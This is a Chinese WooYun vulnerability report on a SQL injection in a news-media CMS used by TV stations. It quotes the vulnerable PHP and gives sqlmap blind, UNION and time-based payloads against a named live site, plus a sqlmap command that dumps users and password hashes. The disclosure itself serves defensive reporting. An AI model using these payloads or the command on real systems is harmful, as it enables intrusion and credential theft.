当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-073594

漏洞标题：某通用型新闻媒体系统SQL注射二（威胁各大电视台）

相关厂商：cncert国家互联网应急中心

漏洞作者： xlz0iza1

提交时间：2014-08-26 12:09

修复时间：2014-11-24 12:10

公开时间：2014-11-24 12:10

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 help@wooyun.org

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-08-26： 细节已通知厂商并且等待厂商处理中
2014-08-31： 厂商已经确认，细节仅向厂商公开
2014-09-03： 细节向第三方安全合作伙伴开放
2014-10-25： 细节向核心白帽子及相关领域专家公开
2014-11-04： 细节向普通白帽子公开
2014-11-14： 细节向实习白帽子公开
2014-11-24： 细节向公众公开

简要描述：

标题偷偷懒啊，不会建议吧。

详细说明：

WooYun: 某新闻媒体系统通用型注入（威胁各大电视台）
于是去官网下载了一下源码。
源码用zend加密过，解密了发现还有base64，解密不完全。有些地方还是乱码。
文件：\library\module\user\article.php

if ( empty( $step ) || $step == "articleList" )
{
				$mytypeId_cond = "";
				if ( !empty( $mytypeId ) )
				{
								$mytypeId_cond = " and mytypeId=".$mytypeId." ";
				}
				$sql_query = "SELECT `id`\r\n\t\t\t, `name`\r\n\t\t\t, `systypeId`\r\n\t\t\t, `mytypeId`\r\n\t\t\t, `status`\r\n\t\t\t, `sys_status`\r\n\t\t\t, `sort`\r\n\t\t\t, `uid`\r\n\t\t\t, `count`\r\n\t\t\t, `type`\r\n\t\t\t, `content`\r\n\t\t\t, `createtime` \r\n\t\t\t,(SELECT `name` FROM `".$tablepre."logtype` WHERE `type`=0 and id=a.mytypeId)  as typename\r\n\tFROM `{$tablepre}article` a\r\n\tWHERE `uid`='{$id}' \r\n\t\t   and `type`='0' and `status`=1 {$mytypeId_cond} ORDER BY `id` DESC\r\n\t";
				$sql_count = "SELECT count(*)\r\n\t\t  FROM `".$tablepre."article`  \r\n\t\t  WHERE `uid`='{$id}' and `type`='0' {$mytypeId_cond}\r\n\t\t   \r\n\t\t  ";
				( );
				$page = new pdo_page( );
				$page_size = 20;
				$link_num = 6;
				$pagestr = "?action=article&step=articleList&id=".$id."&";
				$page->set( $db, $sql_query, $sql_count, $page_size, $link_num, $pagestr );
				$page->create_page( );
				$page_data = $page->get( 0 );
				$page_show = $page->get( 1 );
				$tpl->assign( "page_show", $page_show );
				$page_data = htmlsc( $page_data );
				$tpl->assign( "articles", $page_data );
				$tpl->display( "user/default/articleList.html" );
}


1.jpg


这里的mytypeId冒失忘记用!is_numeric来判断了直接带入查询。

漏洞证明：

案例：http://vod.shffx.com/home.php?action=article&id=14&mytypeId=1


Place: GET
Parameter: mytypeId
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: action=article&id=14&mytypeId=1 AND 5865=5865
    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 column
    Payload: action=article&id=14&mytypeId=1 LIMIT 0,1 UNION ALL SELECT CONCAT(0
x3a7178783a,0x5a5767737452556b4248,0x3a79746b3a)#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: action=article&id=14&mytypeId=1 AND SLEEP(5)
---
[18:35:42] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.2.6, Apache 2.2.8
back-end DBMS: MySQL 5.0.11


2.jpg


3.jpg


4.jpg


sqlmap.py -u "http://vod.shffx.com/home.php?action=article&id=14&mytypeId=1" --batch -p "mytypeId" --users --password -v 2


拿shell的方法，就是这套程序默认的都会安装phpmyadmin，但是看了下本地搭建的PHP，自动生成的ROOT密码，这尼玛破解要会疯掉的。

5.jpg

修复方案：

漏了撒啊。

版权声明：转载请注明来源 xlz0iza1@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：17

确认时间：2014-08-31 09:35

厂商回复：

最新状态：

暂无